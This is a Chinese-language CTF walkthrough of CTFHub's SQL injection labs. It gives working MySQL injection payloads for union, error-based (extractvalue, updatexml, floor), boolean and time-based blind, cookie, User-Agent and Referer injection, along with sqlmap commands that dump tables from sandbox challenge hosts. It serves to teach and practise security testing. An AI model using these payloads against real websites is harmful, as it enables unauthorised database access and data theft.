目录
SQL注入的原理
与MYSQL注入相关的知识点
注释符
内联注释
题目
整数型注入
字符型注入
报错注入
盲注
布尔盲注
时间盲注
UA注入
Refer注入
小结:收获颇多!!!
SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。
在MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库名的库名。
TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA,表名为:TABLE_NAME,字段名为:COLUMN_NAME.
MySQL查询语句
在不知道任何条件时,语句如下所示。
select 查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
几个常用函数
database() 当前网站使用的数据库
version() 当前MySQL的版本
user() 当前MySQL的用户
在MySQL中,常见注释符的表达方式:#或--空格或/**/。
内联注释的形式:
/*!code*/
内联注释可以用于整个sql语句中,用来执行SQL语句
-1 /*!union*/ /*!select*/ 1,2,3
输个1试试:
再输入2-1,查询结果是1,说明存在整数型注入
尝试1 and 1=1和1 and 1=2,and没被过滤
1 and 1=1
1 and 1=2
再次尝试1 or 1=1和1 or 1=2,or没被过滤。
使用order by判断列名
1 order by 1,2
1 order by 1,2,3
只有两列。
使用union select 判断注入点
-1 union select 1,2
注入点在2的位置,爆库。
-1 union select 1,database();
拿到库名sqli,爆表。
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
爆出flag和news两个表名,使用flag表,爆字段名。
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
拿到字段名flag,爆字段内容。
-1 union select 1,(select flag from sqli.flag limit 0,1)
成功拿到flag!!!
再输个1试试。
可知查询语句为:
select * from news where id='1'
我们输入的1被加上了单引号,当作字符。
输入1'判断为字符型注入:
使用#将后面的单引号注释掉
1'#
判断and是否被过滤
1' and 1=1#
1' and 1=2#
判断or是否被过滤,发现均未被过滤。
判断列数。
1' order by 1,2#
1' order by 1,2,3#
列数为两列,查找注入点。
-1' union select 1,2#
爆库名。
-1' union select 1,database()#
爆表名。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段名。
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
爆字段内容。
-1' union select 1,(select flag from flag)#
成功拿到flag!!!
1'
1'#
判断注入:
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。
三种方法extractvalue() updatexml() floor()
extractvalue()
0x7e就是~用来区分数据,里面用select语句,不能用union select。
concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
extractvalue报错注入语句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
爆库名。
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
爆库成功,库名为sqli,爆表名。
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))
得到两个表flag,news,爆字段名。
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
得到字段flag,爆字段内容。
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
得到一个不完整的flag。
只显示32位,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
SQL MID()语法:
select mid(column_name,start[,length]) from table_name
start[,length])表示显示范围。
1 1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
成功拿到flag!!!
updatexml()
爆库名。
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
爆表名。
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)
得到两个表news,flag。
爆字段名。
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag'limit 0,1),0x7e),1)
爆字段内容。
1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)
同样需要mid函数。
1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)
成功拿到flag!!!
floor()
原理:利用
select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x
导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
函数理解
打开MYSQL终端,创建数据库。
create database test1;
建表,设置两个字段。
use test1;
create table cze(id int unsigned not null primary key auto_increment,
name varchar(15) not null);
插入数据
insert into cze(id,name) value(1,'zhangsan');
insert into cze(id,name) value(2,'lisi');
insert into cze(id,name) value(3,'wangwu');
insert into cze(id,name) value(4,'laoliu');
rand()函数
rand()可以产生一个在0和1之间的随机数
select rand();
很明显,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。
select rand(0);
floor(rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面扩大2倍就返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1并且结合固定的随机种子0,它每次产生的随机数列都是相同的值。
结合上述的函数,每次产生的随机数列都是0 1 1 0
group by 函数
group by函数,作用就是分类汇总。
重命名id为a,name为x
select id a,name x from cze;
count()函数
count()函数作用为统计结果的记录数。
结合使用,统计0,1,数据,结果显示符合上面出现的0110
select count(*),floor(rand(0)*2) x from cze group by x;
实战
判断是否存在报错注入
1 union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x
很明显存在报错注入,爆库。
1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by xs
得到库名sqli。
爆表名。
1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables
where
table_schema='sqli' limit 0,1)) x
from
information_schema.schemata group by x
爆字段名。
1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns
where
table_schema='sqli' and table_name='flag' limit 0,1)) x
from
information_schema.schemata group by x
得到字段flag,爆字段内容。
1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x
成功拿到flag!!!
盲注其实是SQL注入的一种,之所以成为盲注是因为他不会根据你SQL注入的攻击语句返回你想要知道的错误信息。
布尔盲注只会回显True和False两种情况。
这里我直接上手sqlmap,爆库名。
sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" --dbs
前面三个是系统库所以直接使用sqli这个库。
爆表名。
sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
得到两个表,flag和news,使用flag表,直接爆字段内容。
sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump
成功拿到flag!!!
时间盲注与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MYSQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则if()的返回值为expr2;否则返回值则为expr3。
再次上手sqlmap,爆库。
sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" --dbs
前三个为系统库,使用第四个sqli库,爆表名。
sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
得到两个表flag和news,选择flag表,直接爆字段内容。
sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump
成功拿到flag!!!
mysql结构
这里直接用sqlmap就可以跑出flag方法同上。
依旧sqlmap,爆库。
sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2
这里和上面不同的是多了两个命令,--cookie是指定http cookie的值,--level指执行的测试级别(1-5, 默认 1)。
需要注意的是,当level默认为1的时候,默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容,所以这里选用level 2.
接着爆表名。
sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2
得到表名,直接爆字段内容。
sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T ksxiwztyzq --columns --dump --level 2
成功拿到flag!!!
即注入点在User-Agent。
burp suite抓包。
测试or,and是否被过滤。
1 or 1=1
1 or 1=2
1 and 1=1
1 and 1=2
判断列数。
1 order by 1,2
1 order by 1,2,3
只有两列。
判断注入点。
-1 union select 1,2
找到注入点,爆库名。
-1 union select 1,database()
拿到库名,爆表名。
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
拿到表名ogreadccrt,爆字段名。
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='ogreadccrt' limit 0,1)
拿到字段名bwpgchzncg。爆字段内容。
-1 union select 1,(select bwpgchzncg from sqli.ogreadccrt limit 0,1)
成功拿到flag!!!
直接上sqlmap。
爆库。
sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" --dbs --level 2
拿到库名sqli,爆表名。
sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" -D sqli --tables --level 2
拿到表名olzeykhcep,直接爆字段内容。
sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" -D sqli -T olzeykhcep --columns --dump --level 2
成功拿到flag!!!
过滤空格
很可惜,这里不能直接上手sqlmap了,使用/**/绕过空格。
测试or,and是否被过滤。这里就不放图了,跟前面结果一致。
1/**/or/**/1=1
1/**/or/**/1=2
接下来就是order by判断列数,union select判断注入点,代码同上,只不过就是把有空格的地方替换成/**/,这里就不做演示了,内容已经够多了。
ctfhub的sql注入到这就结束了。